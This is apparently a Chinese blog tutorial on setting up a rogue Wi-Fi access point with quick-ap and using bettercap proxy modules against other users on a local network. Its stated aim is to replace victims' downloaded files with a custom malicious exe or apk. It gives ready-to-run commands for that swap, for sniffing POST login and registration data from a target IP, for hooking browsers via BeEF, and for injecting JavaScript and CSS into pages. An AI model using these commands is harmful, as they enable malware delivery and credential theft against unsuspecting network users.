QUICK-AP + BETTERCAP 替换局域网内其他用户的下载文件为自定义文件

时间：2023-02-12 02:20:44

　　环境需求

　　:kali系统 ， .0版本

　　:quick-ap

　　:bettercap

　　:bettercap-proxy-modules

　　:......

　　主要环境搭建

　　目的：替换局域网用户的下载文件，变为我们自己定义的下载文件， 这个文件可以为一个恶意的exe或者apk

　　quick-ap通过github即可下载：https://github.com/sqqihao/quick-ap

　　需要bettercap的第三方模块：https://github.com/sqqihao/bettercap-proxy-modules

　　在kali系统中插入usb网卡， 默认的网卡为wlan0， 如果网卡名字不一样的话，后面的脚本中所有的wlan0都要改， 不保证kali的新版本可用， 测试环境的kali版本为2.0　

　　搭建热点　

　　进入quick-ap的目录下， 执行文件，创建热点：

./apd.sh

　　重新打开一个窗口， 进入bettercap-proxy-modules/http目录下，执行以下命令， 只要用户有下载exe文件或者其他类型的文件， 都会被替换，替换为我们自定义的exe文件， apk或者， rar文件也可以， 思路很多：

bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X --proxy-module replace_file.rb --file-extension exe --file-replace /root/Desktop/file.exe

　　　　其他

　　bettercap-proxy-modules还可以配合beef使用， 修改页面标题， 修改页面样式，嗅探登陆注册的请求信息

修改10. 为  你要攻击的IP
.1为网关的地址

bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X -T 10.0.0.145 --proxy -P POST : 嗅探信息

---HTTP

bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X -T 10.0.0.145 --proxy -P POST --proxy-module beefbox.rb --beef-path=/usr/share/beef-xss : 使用beef

bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X --proxy-module replace_file.rb --file-extension exe --file-replace /root/Desktop/payload.exe : 设置自定义下载文件

bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -T 10.0.0.145 --proxy-module replace_images.rb --httpd-path /root/Desktop : 替换图片

bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X -T 10.0.0.145 --proxy-module hack_title.rb : 修改页面标题---JS

bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X -T 10.0.0.145 --proxy -P POST --proxy-module injectjs --js-file rainbow.js : 给页面添加一个彩虹

bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X -T 10.0.0.145 --proxy -P POST --proxy-module injectjs --js-file resizetext.js : 重新设置页面的字体大小

bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X -T 10.0.0.145 --proxy -P POST --proxy-module injectjs --js-file shakescreen.js : 页面图片抖动

--- CSS

bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X -T 10.0.0.145 --proxy -P POST --proxy-module injectcss --css-file blurpage.css :  页面模糊

bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X -T 10.0.0.145 --proxy -P POST --proxy-module injectcss --css-file flipimages.css : 颠倒图片

bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X -T 10.0.0.145 --proxy -P POST --proxy-module injectcss --css-file spinimages.css : 图片旋转
bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X -T 10.0.0.145 --proxy -P POST --proxy-module injectcss --css-file upsidedown.css : 页面颠倒

　　bettercap还能实现页面插入css， 插入js， 插入html等功能， 这些东西可以参考bettercap的官网 https://www.bettercap.org/docs/proxying/http.html：

InjectJS ( --proxy-module injectjs ) : Used to inject javascript code/files inside HTML pages.
InjectCSS ( --proxy-module injectcss ) : Used to inject CSS code/files inside HTML pages.
InjectHTML ( --proxy-module injecthtml ) : Used to inject HTML code inside HTML pages.

　　相关：　　

　　youku视频：http://v.youku.com/v_show/id_XMjgwMjc2ODI0OA==.html?spm=a2h3j.8428770.3416059.1

　　bettercap：https://www.bettercap.org/

　　youtube视频：https://www.youtube.com/watch?v=y9OYrK4j4_4
　　quick-ap通过github即可下载：https://github.com/sqqihao/quick-ap

　　需要bettercap的第三方模块：https://github.com/sqqihao/bettercap-proxy-modules

相关文章